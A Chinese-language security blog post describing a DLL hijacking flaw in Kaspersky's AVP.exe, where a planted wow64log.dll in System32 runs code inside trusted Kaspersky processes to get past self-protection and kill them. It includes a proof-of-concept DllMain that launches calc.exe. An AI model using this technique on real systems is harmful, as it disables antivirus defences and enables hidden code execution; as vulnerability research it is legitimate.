Kaspersky AVP.exe DLL 劫持
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况下杀死或篡改防病毒软件和在高权限中执行命令。
在Kaspersky AVP.exe进程尝试加载缺少的wow64log.dllDLL文件(在System32)。
通过DLL植入恶意文件,本地Windows管理员可以在这个受信任的AVP.exe进程的上下文中实现代码执行并杀死其他进程,从而在无法检测和清除病毒的杀毒软件上实现拒绝服务和以卡巴斯基的身份执行任意命令。
版本
卡巴斯基安全软件
AVP.exe版本
Kaspersky Password Manager Service
卡巴斯基安全软件启动的进程为:
Kaspersky Password Manager Service启动的进程为:
ProCess Monitor
AVP.exe 加载不存在的wow64log.dll,路径为C:windowsSystem32
Avpui.exe同样加载不存在的Wow64log.dll,路径为C:windowsSystem32
kpm.exe同样加载不存在的Wow64log.dll,路径为C:windowsSystem32
wow64log.dll与 WoW64 Windows 机制有关,该机制允许在 64 位 Windows 上运行 32 位程序。该子系统会自动尝试加载它,但是它不存在于任何公共 Windows 版本中。
C:WindowsSystem (Windows95/98/Me)
C:WINNTSystem32(WindowsNT/2000)
C:WindowsSystem32 (Windows XP,Vista,7,8,10)
如果是64位文件C:WindowsSysWOW64
作为管理员,我们可以构造恶意 wow64log.dll 文件复制到 System32 。
例如:
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:WindowsSystem32calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
char szFileName[MAX_PATH + 1];
GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);
//check if we are injected in an interesting McAfee process
if (strstr(szFileName, "avp") != NULL
//|| strstr(szFileName, "mcshield") != NULL
|| strstr(szFileName, "avp.exe") != NULL
) {
DisableThreadLibraryCalls(hModule);
}
else
{
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
//log("detach");
break;
}
return TRUE;
}
手动复制在目标文件目录中,然后启动卡巴斯基,可以看到加载了我们的Wow64log.dll
启动Kaspersky Password Manager Service
加载了我们的恶意DLL并执行了
卡巴斯基具有自我保护机制,即使管理员也无法终止或注入Avp.exe /avpui.exe等等 进程。但似乎卡巴斯基家族的所有进程都认为其他卡巴斯基进程在自我保护方面是“受信任的”。因此,如果我们设法在一个上下文中执行代码,我们就可以“攻击”并杀死其进程和在卡巴斯基中执行任意命令等等。
我们可以编译一个恶意的dll利用卡巴斯基的进程去kill其它卡巴斯基的进程。
也可以在卡巴是安全上下文中执行我们的shellcode 例如:
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6299.html